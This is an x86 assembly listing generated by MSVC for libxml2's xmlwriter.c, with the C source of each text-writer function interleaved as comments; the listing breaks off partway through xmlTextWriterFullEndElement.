_xmlTextWriterWriteString PROC ; COMDAT ; 1479 : { push ebp mov ebp, esp push ebx push esi push edi mov ecx, OFFSET __DA396148_xmlwriter@c call @__CheckForDebuggerJustMyCode@4 mov ebx, DWORD PTR _writer$[ebp] test ebx, ebx je SHORT $LN5@xmlTextWri ; 1480 : int count; ; 1481 : int sum; ; 1482 : xmlLinkPtr lk; ; 1483 : xmlTextWriterStackEntry *p; ; 1484 : xmlChar *buf; ; 1485 : ; 1486 : if ((writer == NULL) || (content == NULL)) mov edi, DWORD PTR _content$[ebp] test edi, edi je SHORT $LN5@xmlTextWri ; 1487 : return -1; ; 1488 : ; 1489 : sum = 0; ; 1490 : buf = (xmlChar *) content; ; 1491 : lk = xmlListFront(writer->nodes); push DWORD PTR [ebx+4] mov esi, edi call _xmlListFront add esp, 4 ; 1492 : if (lk != 0) { test eax, eax je SHORT $LN10@xmlTextWri ; 1493 : p = (xmlTextWriterStackEntry *) xmlLinkGetData(lk); push eax call _xmlLinkGetData add esp, 4 ; 1494 : if (p != 0) { test eax, eax je SHORT $LN10@xmlTextWri ; 1495 : switch (p->state) { mov eax, DWORD PTR [eax+4] sub eax, 1 je SHORT $LN8@xmlTextWri sub eax, 1 je SHORT $LN9@xmlTextWri sub eax, 1 jne SHORT $LN10@xmlTextWri $LN8@xmlTextWri: ; 1496 : case XML_TEXTWRITER_NAME: ; 1497 : case XML_TEXTWRITER_TEXT: ; 1498 : #if 0 ; 1499 : buf = NULL; ; 1500 : xmlOutputBufferWriteEscape(writer->out, content, NULL); ; 1501 : #endif ; 1502 : buf = xmlEncodeSpecialChars(NULL, content); push edi push 0 call _xmlEncodeSpecialChars add esp, 8 mov esi, eax $LN10@xmlTextWri: ; 1507 : writer->doc, NULL, content); ; 1508 : break; ; 1509 : default: ; 1510 : break; ; 1511 : } ; 1512 : } ; 1513 : } ; 1514 : ; 1515 : if (buf != NULL) { test esi, esi je SHORT $LN17@xmlTextWri ; 1407 : return xmlTextWriterWriteRawLen(writer, content, xmlStrlen(content)); push esi call _xmlStrlen push eax push esi push ebx call _xmlTextWriterWriteRawLen add esp, 16 ; 00000010H ; 1516 : count = xmlTextWriterWriteRaw(writer, buf); mov ebx, eax ; 1517 : ; 1518 : if (buf != content) /* buf was allocated by us, so free it */ cmp esi, edi je SHORT $LN12@xmlTextWri ; 1519 : xmlFree(buf); push esi call DWORD PTR _xmlFree add esp, 4 $LN12@xmlTextWri: ; 1520 : ; 1521 : if (count < 0) test ebx, ebx jns SHORT $LN11@xmlTextWri $LN5@xmlTextWri: pop edi ; 1527 : } pop esi or eax, -1 pop ebx pop ebp ret 0 $LN9@xmlTextWri: ; 1503 : break; ; 1504 : case XML_TEXTWRITER_ATTRIBUTE: ; 1505 : buf = NULL; ; 1506 : xmlBufAttrSerializeTxtContent(writer->out->buffer, mov eax, DWORD PTR [ebx] push edi push 0 push DWORD PTR [ebx+40] push DWORD PTR [eax+16] call _xmlBufAttrSerializeTxtContent add esp, 16 ; 00000010H $LN17@xmlTextWri: ; 1522 : return -1; ; 1523 : sum += count; ; 1524 : } ; 1525 : ; 1526 : return sum; xor ebx, ebx $LN11@xmlTextWri: pop edi ; 1527 : } pop esi mov eax, ebx pop ebx pop ebp ret 0 _xmlTextWriterWriteString ENDP _TEXT ENDS ; Function compile flags: /Ogtp ; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlwriter.c ; COMDAT _xmlTextWriterWriteVFormatString _TEXT SEGMENT _writer$ = 8 ; size = 4 _format$ = 12 ; size = 4 _argptr$ = 16 ; size = 4 _xmlTextWriterWriteVFormatString PROC ; COMDAT ; 1451 : { push ebp mov ebp, esp push esi push edi mov ecx, OFFSET __DA396148_xmlwriter@c call @__CheckForDebuggerJustMyCode@4 mov esi, DWORD PTR _writer$[ebp] test esi, esi je SHORT $LN3@xmlTextWri ; 1452 : int rc; ; 1453 : xmlChar *buf; ; 1454 : ; 1455 : if ((writer == NULL) || (format == NULL)) mov eax, DWORD PTR _format$[ebp] test eax, eax je SHORT $LN3@xmlTextWri ; 1457 : ; 1458 : buf = xmlTextWriterVSprintf(format, argptr); push DWORD PTR _argptr$[ebp] push eax call _xmlTextWriterVSprintf mov edi, eax add esp, 8 ; 1459 : if (buf == NULL) test edi, edi je SHORT $LN3@xmlTextWri ; 1460 : return -1; ; 1461 : ; 1462 : rc = xmlTextWriterWriteString(writer, buf); push edi push esi call _xmlTextWriterWriteString ; 1463 : ; 1464 : xmlFree(buf); push edi mov esi, eax call DWORD PTR _xmlFree add esp, 12 ; 0000000cH ; 1465 : return rc; mov eax, esi pop edi ; 1466 : } pop esi pop ebp ret 0 $LN3@xmlTextWri: pop edi ; 1456 : return -1; or eax, -1 ; 1466 : } pop esi pop ebp ret 0 _xmlTextWriterWriteVFormatString ENDP _TEXT ENDS ; Function compile flags: /Ogtp ; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlwriter.c ; COMDAT _xmlTextWriterWriteFormatString _TEXT SEGMENT _writer$ = 8 ; size = 4 _format$ = 12 ; size = 4 _xmlTextWriterWriteFormatString PROC ; COMDAT ; 1423 : { push ebp mov ebp, esp mov ecx, OFFSET __DA396148_xmlwriter@c call @__CheckForDebuggerJustMyCode@4 mov ecx, DWORD PTR _writer$[ebp] test ecx, ecx je SHORT $LN3@xmlTextWri ; 1424 : int rc; ; 1425 : va_list ap; ; 1426 : ; 1427 : if ((writer == NULL) || (format == NULL)) mov eax, DWORD PTR _format$[ebp] test eax, eax je SHORT $LN3@xmlTextWri ; 1429 : ; 1430 : va_start(ap, format); ; 1431 : ; 1432 : rc = xmlTextWriterWriteVFormatString(writer, format, ap); lea edx, DWORD PTR _format$[ebp+4] push edx push eax push ecx call _xmlTextWriterWriteVFormatString add esp, 12 ; 0000000cH ; 1433 : ; 1434 : va_end(ap); ; 1435 : return rc; ; 1436 : } pop ebp ret 0 $LN3@xmlTextWri: ; 1428 : return -1; or eax, -1 ; 1433 : ; 1434 : va_end(ap); ; 1435 : return rc; ; 1436 : } pop ebp ret 0 _xmlTextWriterWriteFormatString ENDP _TEXT ENDS ; Function compile flags: /Ogtp ; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlwriter.c ; COMDAT _xmlTextWriterWriteRaw _TEXT SEGMENT _writer$ = 8 ; size = 4 _content$ = 12 ; size = 4 _xmlTextWriterWriteRaw PROC ; COMDAT ; 1406 : { push ebp mov ebp, esp mov ecx, OFFSET __DA396148_xmlwriter@c call @__CheckForDebuggerJustMyCode@4 push DWORD PTR _content$[ebp] call _xmlStrlen push eax push DWORD PTR _content$[ebp] push DWORD PTR _writer$[ebp] call _xmlTextWriterWriteRawLen add esp, 16 ; 00000010H ; 1407 : return xmlTextWriterWriteRawLen(writer, content, xmlStrlen(content)); ; 1408 : } pop ebp ret 0 _xmlTextWriterWriteRaw ENDP _TEXT ENDS ; Function compile flags: /Ogtp ; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlwriter.c ; COMDAT _xmlTextWriterWriteRawLen _TEXT SEGMENT _writer$ = 8 ; size = 4 _content$ = 12 ; size = 4 _len$ = 16 ; size = 4 _xmlTextWriterWriteRawLen PROC ; COMDAT ; 1353 : { push ebp mov ebp, esp push esi mov ecx, OFFSET __DA396148_xmlwriter@c call @__CheckForDebuggerJustMyCode@4 mov esi, DWORD PTR _writer$[ebp] test esi, esi jne SHORT $LN2@xmlTextWri ; 1354 : int count; ; 1355 : int sum; ; 1356 : xmlLinkPtr lk; ; 1357 : xmlTextWriterStackEntry *p; ; 1358 : ; 1359 : if (writer == NULL) { ; 1360 : xmlWriterErrMsg(writer, XML_ERR_INTERNAL_ERROR, push OFFSET ??_C@_0CM@KBMCGCHN@xmlTextWriterWriteRawLen?5?3?5inva@ push 1 push esi call _xmlWriterErrMsg add esp, 12 ; 0000000cH ; 1361 : "xmlTextWriterWriteRawLen : invalid writer!\n"); ; 1362 : return -1; or eax, -1 pop esi ; 1390 : } ; 1391 : ; 1392 : return sum; ; 1393 : } pop ebp ret 0 $LN2@xmlTextWri: ; 1363 : } ; 1364 : ; 1365 : if ((content == NULL) || (len < 0)) { cmp DWORD PTR _content$[ebp], 0 je SHORT $LN4@xmlTextWri cmp DWORD PTR _len$[ebp], 0 jl SHORT $LN4@xmlTextWri ; 1369 : } ; 1370 : ; 1371 : sum = 0; push edi ; 1372 : lk = xmlListFront(writer->nodes); push DWORD PTR [esi+4] xor edi, edi call _xmlListFront add esp, 4 ; 1373 : if (lk != 0) { test eax, eax je SHORT $LN5@xmlTextWri ; 1374 : p = (xmlTextWriterStackEntry *) xmlLinkGetData(lk); push eax call _xmlLinkGetData ; 1375 : count = xmlTextWriterHandleStateDependencies(writer, p); push eax push esi call _xmlTextWriterHandleStateDependencies mov edi, eax add esp, 12 ; 0000000cH ; 1376 : if (count < 0) test edi, edi js SHORT $LN11@xmlTextWri $LN5@xmlTextWri: ; 1377 : return -1; ; 1378 : sum += count; ; 1379 : } ; 1380 : ; 1381 : if (writer->indent) cmp DWORD PTR [esi+16], 0 je SHORT $LN7@xmlTextWri ; 1382 : writer->doindent = 0; mov DWORD PTR [esi+20], 0 $LN7@xmlTextWri: ; 1383 : ; 1384 : if (content != NULL) { ; 1385 : count = push DWORD PTR _content$[ebp] push DWORD PTR _len$[ebp] push DWORD PTR [esi] call _xmlOutputBufferWrite add esp, 12 ; 0000000cH ; 1386 : xmlOutputBufferWrite(writer->out, len, (const char *) content); ; 1387 : if (count < 0) test eax, eax jns SHORT $LN9@xmlTextWri $LN11@xmlTextWri: pop edi ; 1388 : return -1; or eax, -1 pop esi ; 1390 : } ; 1391 : ; 1392 : return sum; ; 1393 : } pop ebp ret 0 $LN9@xmlTextWri: ; 1389 : sum += count; add eax, edi pop edi pop esi ; 1390 : } ; 1391 : ; 1392 : return sum; ; 1393 : } pop ebp ret 0 $LN4@xmlTextWri: ; 1366 : xmlWriterErrMsg(writer, XML_ERR_INTERNAL_ERROR, push OFFSET ??_C@_0CN@MACOIGNG@xmlTextWriterWriteRawLen?5?3?5inva@ push 1 push esi call _xmlWriterErrMsg add esp, 12 ; 0000000cH ; 1367 : "xmlTextWriterWriteRawLen : invalid content!\n"); ; 1368 : return -1; or eax, -1 pop esi ; 1390 : } ; 1391 : ; 1392 : return sum; ; 1393 : } pop ebp ret 0 _xmlTextWriterWriteRawLen ENDP _TEXT ENDS ; Function compile flags: /Ogtp ; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlwriter.c ; COMDAT _xmlTextWriterWriteVFormatRaw _TEXT SEGMENT _writer$ = 8 ; size = 4 _format$ = 12 ; size = 4 _argptr$ = 16 ; size = 4 _xmlTextWriterWriteVFormatRaw PROC ; COMDAT ; 1322 : { push ebp mov ebp, esp push esi push edi mov ecx, OFFSET __DA396148_xmlwriter@c call @__CheckForDebuggerJustMyCode@4 mov esi, DWORD PTR _writer$[ebp] test esi, esi je SHORT $LN7@xmlTextWri ; 1323 : int rc; ; 1324 : xmlChar *buf; ; 1325 : ; 1326 : if (writer == NULL) ; 1327 : return -1; ; 1328 : ; 1329 : buf = xmlTextWriterVSprintf(format, argptr); push DWORD PTR _argptr$[ebp] push DWORD PTR _format$[ebp] call _xmlTextWriterVSprintf mov edi, eax add esp, 8 ; 1330 : if (buf == NULL) test edi, edi je SHORT $LN7@xmlTextWri ; 1407 : return xmlTextWriterWriteRawLen(writer, content, xmlStrlen(content)); push edi call _xmlStrlen push eax push edi push esi call _xmlTextWriterWriteRawLen ; 1332 : ; 1333 : rc = xmlTextWriterWriteRaw(writer, buf); ; 1334 : ; 1335 : xmlFree(buf); push edi mov esi, eax call DWORD PTR _xmlFree add esp, 20 ; 00000014H ; 1336 : return rc; mov eax, esi pop edi ; 1337 : } pop esi pop ebp ret 0 $LN7@xmlTextWri: pop edi ; 1331 : return -1; or eax, -1 ; 1337 : } pop esi pop ebp ret 0 _xmlTextWriterWriteVFormatRaw ENDP _TEXT ENDS ; Function compile flags: /Ogtp ; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlwriter.c ; COMDAT _xmlTextWriterWriteFormatRaw _TEXT SEGMENT _writer$ = 8 ; size = 4 _format$ = 12 ; size = 4 _xmlTextWriterWriteFormatRaw PROC ; COMDAT ; 1297 : { push ebp mov ebp, esp push esi mov ecx, OFFSET __DA396148_xmlwriter@c call @__CheckForDebuggerJustMyCode@4 ; 1326 : if (writer == NULL) mov esi, DWORD PTR _writer$[ebp] test esi, esi jne SHORT $LN4@xmlTextWri ; 1298 : int rc; ; 1299 : va_list ap; ; 1300 : ; 1301 : va_start(ap, format); ; 1302 : ; 1303 : rc = xmlTextWriterWriteVFormatRaw(writer, format, ap); ; 1304 : ; 1305 : va_end(ap); ; 1306 : return rc; or eax, -1 pop esi ; 1307 : } pop ebp ret 0 $LN4@xmlTextWri: push edi ; 1329 : buf = xmlTextWriterVSprintf(format, argptr); lea eax, DWORD PTR _format$[ebp+4] push eax push DWORD PTR _format$[ebp] call _xmlTextWriterVSprintf mov edi, eax add esp, 8 ; 1330 : if (buf == NULL) test edi, edi jne SHORT $LN5@xmlTextWri ; 1298 : int rc; ; 1299 : va_list ap; ; 1300 : ; 1301 : va_start(ap, format); ; 1302 : ; 1303 : rc = xmlTextWriterWriteVFormatRaw(writer, format, ap); ; 1304 : ; 1305 : va_end(ap); ; 1306 : return rc; pop edi or eax, -1 pop esi ; 1307 : } pop ebp ret 0 $LN5@xmlTextWri: ; 1407 : return xmlTextWriterWriteRawLen(writer, content, xmlStrlen(content)); push edi call _xmlStrlen push eax push edi push esi call _xmlTextWriterWriteRawLen ; 1335 : xmlFree(buf); push edi mov esi, eax call DWORD PTR _xmlFree add esp, 20 ; 00000014H ; 1298 : int rc; ; 1299 : va_list ap; ; 1300 : ; 1301 : va_start(ap, format); ; 1302 : ; 1303 : rc = xmlTextWriterWriteVFormatRaw(writer, format, ap); ; 1304 : ; 1305 : va_end(ap); ; 1306 : return rc; mov eax, esi pop edi pop esi ; 1307 : } pop ebp ret 0 _xmlTextWriterWriteFormatRaw ENDP _TEXT ENDS ; Function compile flags: /Ogtp ; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlwriter.c ; COMDAT _xmlTextWriterWriteElementNS _TEXT SEGMENT _writer$ = 8 ; size = 4 _prefix$ = 12 ; size = 4 _name$ = 16 ; size = 4 _namespaceURI$ = 20 ; size = 4 _content$ = 24 ; size = 4 _xmlTextWriterWriteElementNS PROC ; COMDAT ; 2339 : { push ebp mov ebp, esp push esi push edi mov ecx, OFFSET __DA396148_xmlwriter@c call @__CheckForDebuggerJustMyCode@4 mov esi, DWORD PTR _writer$[ebp] test esi, esi je SHORT $LN3@xmlTextWri ; 2340 : int count; ; 2341 : int sum; ; 2342 : ; 2343 : if ((writer == NULL) || (name == NULL) || (*name == '\0')) mov eax, DWORD PTR _name$[ebp] test eax, eax je SHORT $LN3@xmlTextWri cmp BYTE PTR [eax], 0 je SHORT $LN3@xmlTextWri ; 2345 : ; 2346 : sum = 0; ; 2347 : count = push DWORD PTR _namespaceURI$[ebp] push eax push DWORD PTR _prefix$[ebp] push esi call _xmlTextWriterStartElementNS mov edi, eax add esp, 16 ; 00000010H ; 2348 : xmlTextWriterStartElementNS(writer, prefix, name, namespaceURI); ; 2349 : if (count < 0) test edi, edi js SHORT $LN3@xmlTextWri ; 2350 : return -1; ; 2351 : sum += count; ; 2352 : count = xmlTextWriterWriteString(writer, content); push DWORD PTR _content$[ebp] push esi call _xmlTextWriterWriteString add esp, 8 ; 2353 : if (count == -1) cmp eax, -1 je SHORT $LN3@xmlTextWri ; 2354 : return -1; ; 2355 : sum += count; ; 2356 : count = xmlTextWriterEndElement(writer); push esi add edi, eax call _xmlTextWriterEndElement add esp, 4 ; 2357 : if (count == -1) cmp eax, -1 je SHORT $LN3@xmlTextWri ; 2358 : return -1; ; 2359 : sum += count; add eax, edi pop edi ; 2360 : ; 2361 : return sum; ; 2362 : } pop esi pop ebp ret 0 $LN3@xmlTextWri: pop edi ; 2344 : return -1; or eax, -1 ; 2360 : ; 2361 : return sum; ; 2362 : } pop esi pop ebp ret 0 _xmlTextWriterWriteElementNS ENDP _TEXT ENDS ; Function compile flags: /Ogtp ; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlwriter.c ; COMDAT _xmlTextWriterWriteVFormatElementNS _TEXT SEGMENT _writer$ = 8 ; size = 4 _prefix$ = 12 ; size = 4 _name$ = 16 ; size = 4 _namespaceURI$ = 20 ; size = 4 _format$ = 24 ; size = 4 _argptr$ = 28 ; size = 4 _xmlTextWriterWriteVFormatElementNS PROC ; COMDAT ; 2304 : { push ebp mov ebp, esp push esi push edi mov ecx, OFFSET __DA396148_xmlwriter@c call @__CheckForDebuggerJustMyCode@4 mov esi, DWORD PTR _writer$[ebp] test esi, esi je SHORT $LN5@xmlTextWri ; 2305 : int rc; ; 2306 : xmlChar *buf; ; 2307 : ; 2308 : if (writer == NULL) ; 2309 : return -1; ; 2310 : ; 2311 : buf = xmlTextWriterVSprintf(format, argptr); push DWORD PTR _argptr$[ebp] push DWORD PTR _format$[ebp] call _xmlTextWriterVSprintf mov edi, eax add esp, 8 ; 2312 : if (buf == NULL) test edi, edi je SHORT $LN5@xmlTextWri ; 2314 : ; 2315 : rc = xmlTextWriterWriteElementNS(writer, prefix, name, namespaceURI, push edi push DWORD PTR _namespaceURI$[ebp] push DWORD PTR _name$[ebp] push DWORD PTR _prefix$[ebp] push esi call _xmlTextWriterWriteElementNS ; 2316 : buf); ; 2317 : ; 2318 : xmlFree(buf); push edi mov esi, eax call DWORD PTR _xmlFree add esp, 24 ; 00000018H ; 2319 : return rc; mov eax, esi pop edi ; 2320 : } pop esi pop ebp ret 0 $LN5@xmlTextWri: pop edi ; 2313 : return -1; or eax, -1 ; 2320 : } pop esi pop ebp ret 0 _xmlTextWriterWriteVFormatElementNS ENDP _TEXT ENDS ; Function compile flags: /Ogtp ; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlwriter.c ; COMDAT _xmlTextWriterWriteFormatElementNS _TEXT SEGMENT _writer$ = 8 ; size = 4 _prefix$ = 12 ; size = 4 _name$ = 16 ; size = 4 _namespaceURI$ = 20 ; size = 4 _format$ = 24 ; size = 4 _xmlTextWriterWriteFormatElementNS PROC ; COMDAT ; 2272 : { push ebp mov ebp, esp push esi mov ecx, OFFSET __DA396148_xmlwriter@c call @__CheckForDebuggerJustMyCode@4 ; 2308 : if (writer == NULL) mov esi, DWORD PTR _writer$[ebp] test esi, esi jne SHORT $LN4@xmlTextWri ; 2273 : int rc; ; 2274 : va_list ap; ; 2275 : ; 2276 : va_start(ap, format); ; 2277 : ; 2278 : rc = xmlTextWriterWriteVFormatElementNS(writer, prefix, name, ; 2279 : namespaceURI, format, ap); ; 2280 : ; 2281 : va_end(ap); ; 2282 : return rc; or eax, -1 pop esi ; 2283 : } pop ebp ret 0 $LN4@xmlTextWri: push edi ; 2311 : buf = xmlTextWriterVSprintf(format, argptr); lea eax, DWORD PTR _format$[ebp+4] push eax push DWORD PTR _format$[ebp] call _xmlTextWriterVSprintf mov edi, eax add esp, 8 ; 2312 : if (buf == NULL) test edi, edi jne SHORT $LN5@xmlTextWri ; 2273 : int rc; ; 2274 : va_list ap; ; 2275 : ; 2276 : va_start(ap, format); ; 2277 : ; 2278 : rc = xmlTextWriterWriteVFormatElementNS(writer, prefix, name, ; 2279 : namespaceURI, format, ap); ; 2280 : ; 2281 : va_end(ap); ; 2282 : return rc; pop edi or eax, -1 pop esi ; 2283 : } pop ebp ret 0 $LN5@xmlTextWri: ; 2315 : rc = xmlTextWriterWriteElementNS(writer, prefix, name, namespaceURI, push edi push DWORD PTR _namespaceURI$[ebp] push DWORD PTR _name$[ebp] push DWORD PTR _prefix$[ebp] push esi call _xmlTextWriterWriteElementNS ; 2316 : buf); ; 2317 : ; 2318 : xmlFree(buf); push edi mov esi, eax call DWORD PTR _xmlFree add esp, 24 ; 00000018H ; 2273 : int rc; ; 2274 : va_list ap; ; 2275 : ; 2276 : va_start(ap, format); ; 2277 : ; 2278 : rc = xmlTextWriterWriteVFormatElementNS(writer, prefix, name, ; 2279 : namespaceURI, format, ap); ; 2280 : ; 2281 : va_end(ap); ; 2282 : return rc; mov eax, esi pop edi pop esi ; 2283 : } pop ebp ret 0 _xmlTextWriterWriteFormatElementNS ENDP _TEXT ENDS ; Function compile flags: /Ogtp ; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlwriter.c ; COMDAT _xmlTextWriterWriteElement _TEXT SEGMENT _writer$ = 8 ; size = 4 _name$ = 12 ; size = 4 _content$ = 16 ; size = 4 _xmlTextWriterWriteElement PROC ; COMDAT ; 2230 : { push ebp mov ebp, esp push esi push edi mov ecx, OFFSET __DA396148_xmlwriter@c call @__CheckForDebuggerJustMyCode@4 push DWORD PTR _name$[ebp] mov edi, DWORD PTR _writer$[ebp] push edi call _xmlTextWriterStartElement mov esi, eax add esp, 8 cmp esi, -1 je SHORT $LN7@xmlTextWri ; 2231 : int count; ; 2232 : int sum; ; 2233 : ; 2234 : sum = 0; ; 2235 : count = xmlTextWriterStartElement(writer, name); ; 2236 : if (count == -1) ; 2237 : return -1; ; 2238 : sum += count; ; 2239 : if (content != NULL) { mov eax, DWORD PTR _content$[ebp] test eax, eax je SHORT $LN3@xmlTextWri ; 2240 : count = xmlTextWriterWriteString(writer, content); push eax push edi call _xmlTextWriterWriteString add esp, 8 ; 2241 : if (count == -1) cmp eax, -1 je SHORT $LN7@xmlTextWri ; 2242 : return -1; ; 2243 : sum += count; add esi, eax $LN3@xmlTextWri: ; 2244 : } ; 2245 : count = xmlTextWriterEndElement(writer); push edi call _xmlTextWriterEndElement add esp, 4 ; 2246 : if (count == -1) cmp eax, -1 je SHORT $LN7@xmlTextWri ; 2248 : sum += count; pop edi add eax, esi ; 2249 : ; 2250 : return sum; ; 2251 : } pop esi pop ebp ret 0 $LN7@xmlTextWri: pop edi ; 2247 : return -1; or eax, -1 ; 2249 : ; 2250 : return sum; ; 2251 : } pop esi pop ebp ret 0 _xmlTextWriterWriteElement ENDP _TEXT ENDS ; Function compile flags: /Ogtp ; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlwriter.c ; COMDAT _xmlTextWriterWriteVFormatElement _TEXT SEGMENT _writer$ = 8 ; size = 4 _name$ = 12 ; size = 4 _format$ = 16 ; size = 4 _argptr$ = 20 ; size = 4 _xmlTextWriterWriteVFormatElement PROC ; COMDAT ; 2200 : { push ebp mov ebp, esp push esi push edi mov ecx, OFFSET __DA396148_xmlwriter@c call @__CheckForDebuggerJustMyCode@4 mov esi, DWORD PTR _writer$[ebp] test esi, esi je SHORT $LN5@xmlTextWri ; 2201 : int rc; ; 2202 : xmlChar *buf; ; 2203 : ; 2204 : if (writer == NULL) ; 2205 : return -1; ; 2206 : ; 2207 : buf = xmlTextWriterVSprintf(format, argptr); push DWORD PTR _argptr$[ebp] push DWORD PTR _format$[ebp] call _xmlTextWriterVSprintf mov edi, eax add esp, 8 ; 2208 : if (buf == NULL) test edi, edi je SHORT $LN5@xmlTextWri ; 2210 : ; 2211 : rc = xmlTextWriterWriteElement(writer, name, buf); push edi push DWORD PTR _name$[ebp] push esi call _xmlTextWriterWriteElement ; 2212 : ; 2213 : xmlFree(buf); push edi mov esi, eax call DWORD PTR _xmlFree add esp, 16 ; 00000010H ; 2214 : return rc; mov eax, esi pop edi ; 2215 : } pop esi pop ebp ret 0 $LN5@xmlTextWri: pop edi ; 2209 : return -1; or eax, -1 ; 2215 : } pop esi pop ebp ret 0 _xmlTextWriterWriteVFormatElement ENDP _TEXT ENDS ; Function compile flags: /Ogtp ; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlwriter.c ; COMDAT _xmlTextWriterWriteFormatElement _TEXT SEGMENT _writer$ = 8 ; size = 4 _name$ = 12 ; size = 4 _format$ = 16 ; size = 4 _xmlTextWriterWriteFormatElement PROC ; COMDAT ; 2173 : { push ebp mov ebp, esp push esi mov ecx, OFFSET __DA396148_xmlwriter@c call @__CheckForDebuggerJustMyCode@4 ; 2204 : if (writer == NULL) mov esi, DWORD PTR _writer$[ebp] test esi, esi jne SHORT $LN4@xmlTextWri ; 2174 : int rc; ; 2175 : va_list ap; ; 2176 : ; 2177 : va_start(ap, format); ; 2178 : ; 2179 : rc = xmlTextWriterWriteVFormatElement(writer, name, format, ap); ; 2180 : ; 2181 : va_end(ap); ; 2182 : return rc; or eax, -1 pop esi ; 2183 : } pop ebp ret 0 $LN4@xmlTextWri: push edi ; 2207 : buf = xmlTextWriterVSprintf(format, argptr); lea eax, DWORD PTR _format$[ebp+4] push eax push DWORD PTR _format$[ebp] call _xmlTextWriterVSprintf mov edi, eax add esp, 8 ; 2208 : if (buf == NULL) test edi, edi jne SHORT $LN5@xmlTextWri ; 2174 : int rc; ; 2175 : va_list ap; ; 2176 : ; 2177 : va_start(ap, format); ; 2178 : ; 2179 : rc = xmlTextWriterWriteVFormatElement(writer, name, format, ap); ; 2180 : ; 2181 : va_end(ap); ; 2182 : return rc; pop edi or eax, -1 pop esi ; 2183 : } pop ebp ret 0 $LN5@xmlTextWri: ; 2211 : rc = xmlTextWriterWriteElement(writer, name, buf); push edi push DWORD PTR _name$[ebp] push esi call _xmlTextWriterWriteElement ; 2212 : ; 2213 : xmlFree(buf); push edi mov esi, eax call DWORD PTR _xmlFree add esp, 16 ; 00000010H ; 2174 : int rc; ; 2175 : va_list ap; ; 2176 : ; 2177 : va_start(ap, format); ; 2178 : ; 2179 : rc = xmlTextWriterWriteVFormatElement(writer, name, format, ap); ; 2180 : ; 2181 : va_end(ap); ; 2182 : return rc; mov eax, esi pop edi pop esi ; 2183 : } pop ebp ret 0 _xmlTextWriterWriteFormatElement ENDP _TEXT ENDS ; Function compile flags: /Ogtp ; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlwriter.c ; COMDAT _xmlTextWriterFullEndElement _TEXT SEGMENT _writer$ = 8 ; size = 4 _xmlTextWriterFullEndElement PROC ; COMDAT ; 1211 : { push ebp mov ebp, esp push ebx push esi push edi mov ecx, OFFSET __DA396148_xmlwriter@c call @__CheckForDebuggerJustMyCode@4 mov esi, DWORD PTR _writer$[ebp] test esi, esi je SHORT $LN23@xmlTextWri ; 1212 : int count; ; 1213 : int sum; ; 1214 : xmlLinkPtr lk; ; 1215 : xmlTextWriterStackEntry *p; ; 1216 : ; 1217 : if (writer == NULL) ; 1218 : return -1; ; 1219 : ; 1220 : lk = xmlListFront(writer->nodes); push DWORD PTR [esi+4] call _xmlListFront add esp, 4 ; 1221 : if (lk == 0) test eax, eax je SHORT $LN23@xmlTextWri ; 1222 : return -1; ; 1223 : ; 1224 : p = (xmlTextWriterStackEntry *) xmlLinkGetData(lk); push eax call _xmlLinkGetData mov ebx, eax add esp, 4 ; 1225 : if (p == 0) test ebx, ebx je SHORT $LN23@xmlTextWri ; 1226 : return -1; ; 1227 : ; 1228 : sum = 0; ; 1229 : switch (p->state) { mov ecx, DWORD PTR [ebx+4] xor edi, edi sub ecx, 1 je SHORT $LN9@xmlTextWri sub ecx, 1 je SHORT $LN7@xmlTextWri sub ecx, 1 je SHORT $LN12@xmlTextWri $LN23@xmlTextWri: pop edi ; 1282 : } pop esi or eax, -1 pop ebx pop ebp ret 0 $LN7@xmlTextWri: ; 1230 : case XML_TEXTWRITER_ATTRIBUTE: ; 1231 : count = xmlTextWriterEndAttribute(writer); push esi call _xmlTextWriterEndAttribute mov edi, eax add esp, 4 ; 1232 : if (count < 0) test edi, edi js SHORT $LN23@xmlTextWri $LN9@xmlTextWri: ; 1233 : return -1; ; 1234 : sum += count; ; 1235 : /* fallthrough */ ; 1236 : case XML_TEXTWRITER_NAME: ; 1237 : /* Output namespace declarations */ ; 1238 : count = xmlTextWriterOutputNSDecl(writer); push esi call _xmlTextWriterOutputNSDecl add esp, 4 ; 1239 : if (count < 0) test eax, eax js SHORT $LN23@xmlTextWri ; 1240 : return -1; ; 1241 : sum += count; ; 1242 : ; 1243 : count = xmlOutputBufferWriteString(writer->out, ">"); push OFFSET ??_C@_01PPODPGHN@?$DO@ push DWORD PTR [esi] add edi, eax call _xmlOutputBufferWriteString add esp, 8 ; 1244 : if (count < 0) test eax, eax js SHORT $LN23@xmlTextWri ; 1245 : return -1; ; 1246 : sum += count; add edi, eax ; 1247 : if (writer->indent) cmp DWORD PTR [esi+16], 0 je SHORT $LN22@xmlTextWri ; 1248 : writer->doindent = 0; mov DWORD PTR [esi+20], 0 $LN12@xmlTextWri: ; 1249 : /* fallthrough */ ; 1250 : case XML_TEXTWRITER_TEXT: ; 1251 : if ((writer->indent) && (writer->doindent)) { cmp DWORD PTR [esi+16], 0 je SHORT $LN22@xmlTextWri cmp DWORD PTR [esi+20], 0 je SHORT $LN22@xmlTextWri ; 1252 : count = xmlTextWriterWriteIndent(writer); push esi call _xmlTextWriterWriteIndent add esp, 4 ; 1253 : sum += count; add edi, eax $LN22@xmlTextWri: ; 1254 : writer->doindent = 1; ; 1255 : } else ; 1256 : writer->doindent = 1; ; 1257 : count = xmlOutputBufferWriteString(writer->out, "</"); mov DWORD PTR [esi+20], 1 push OFFSET ??_C@_02DPNDACHE@?$DM?1@ push DWORD 